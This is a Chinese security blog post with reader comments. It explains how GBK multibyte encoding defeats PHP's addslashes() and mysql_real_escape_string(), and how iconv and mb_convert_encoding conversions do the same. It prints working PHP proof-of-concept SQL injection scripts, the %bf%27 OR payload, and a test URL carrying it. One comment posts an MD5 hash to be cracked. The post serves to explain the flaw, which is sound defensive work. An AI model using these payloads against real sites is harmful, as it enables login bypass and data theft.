PHP字符编码绕过漏洞总结

作者:Safe3

其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立连接时使用
CODE:
SET CHARACTER SET ‘GBK’
例:mysql_query(“SET CHARACTER SET ‘gbk'”, $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php

$c = mysql_connect(“localhost”, “user”, “pass”);
mysql_select_db(“database”, $c);

// change our character set
mysql_query(“SET CHARACTER SET ‘gbk'”, $c);

// create demo table
mysql_query(“CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET ‘GBK'”, $c);
mysql_query(“INSERT INTO users VALUES(‘foo’,’bar’), (‘baz’,’test’)”, $c);

// now the exploit code
$_POST[‘username’] = chr(0xbf) . chr(0x27) . ‘ OR username = username /*’;
$_POST[‘password’] = ‘anything’;

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST[‘username’], $c);
$passwd = mysql_real_escape_string($_POST[‘password’], $c);

$sql = “SELECT * FROM  users WHERE  username = ‘{$user}’ AND password = ‘{$passwd}'”;
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过addslashes() 加上的”\”失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试
$id1=mb_convert_encoding($_GET[‘id’], ‘utf-8’, ‘gbk’);
$id2=iconv(‘gbk//IGNORE’, ‘utf-8’, $_GET[‘id’]);
$id3=iconv(‘gbk’, ‘utf-8’, $_GET[‘id’]);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
<?php

$c = mysql_connect(“localhost”, “user”, “pass”);
mysql_select_db(“database”, $c);

// change our character set
mysql_query(“SET CHARACTER SET ‘gbk'”, $c);

// create demo table
mysql_query(“CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET ‘GBK'”, $c);
mysql_query(“INSERT INTO users VALUES(‘foo’,’bar’), (‘baz’,’test’)”, $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET[‘id’], ‘utf-8’, ‘gbk’);
$id2=iconv(‘gbk//IGNORE’, ‘utf-8’, $_GET[‘id’]);
//$id3=iconv(‘gbk’, ‘utf-8’, $_GET[‘id’]);

$sql = “SELECT * FROM  users WHERE  username = ‘{$id2}’ AND password = ‘password'”;
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我早期转载的一篇文章Bypassing script filters with variable-width encodings

相关日志

楼被抢了 5 层了... 抢座Rss 2.0或者 Trackback

  • yuehei

    这个问题确实存在,相信不少网站都会因为这问题而存在注入,写了一个二次过滤的函数,这样字节过滤效率很你,在safe3前辈的blog留言,希望有更好的解决方法,我会一直关注这个漏洞,希望有兴趣朋友能一齐想想更好的解决方法,订阅鬼鬼的blog真的是相当有所得^_^
    # //不一定正确的二次过滤
    # function strip27($str, $encoding = ‘gbk’) {
    # $len = strlen($str);
    # for ($i = 0; $i 127) {
    # $i++;
    # } else if ($str[$i] == chr(0x27)) {
    # $str[$i] = chr(0x20);
    # }
    # }
    # return $str;
    # }

  • 3333

    可能不能随便评论

  • 撒旦撒

    大撒旦撒旦撒旦撒旦撒大苏打撒旦撒旦撒旦撒旦撒旦撒大苏打撒旦撒

  • Werner

    请问只有GBK编码有这种问题吗?UTF-8编码会存在这种问题吗?

  • 细小西

    7c7d85e6deee6808f962e3293069ebd1 MD5破解

发表评论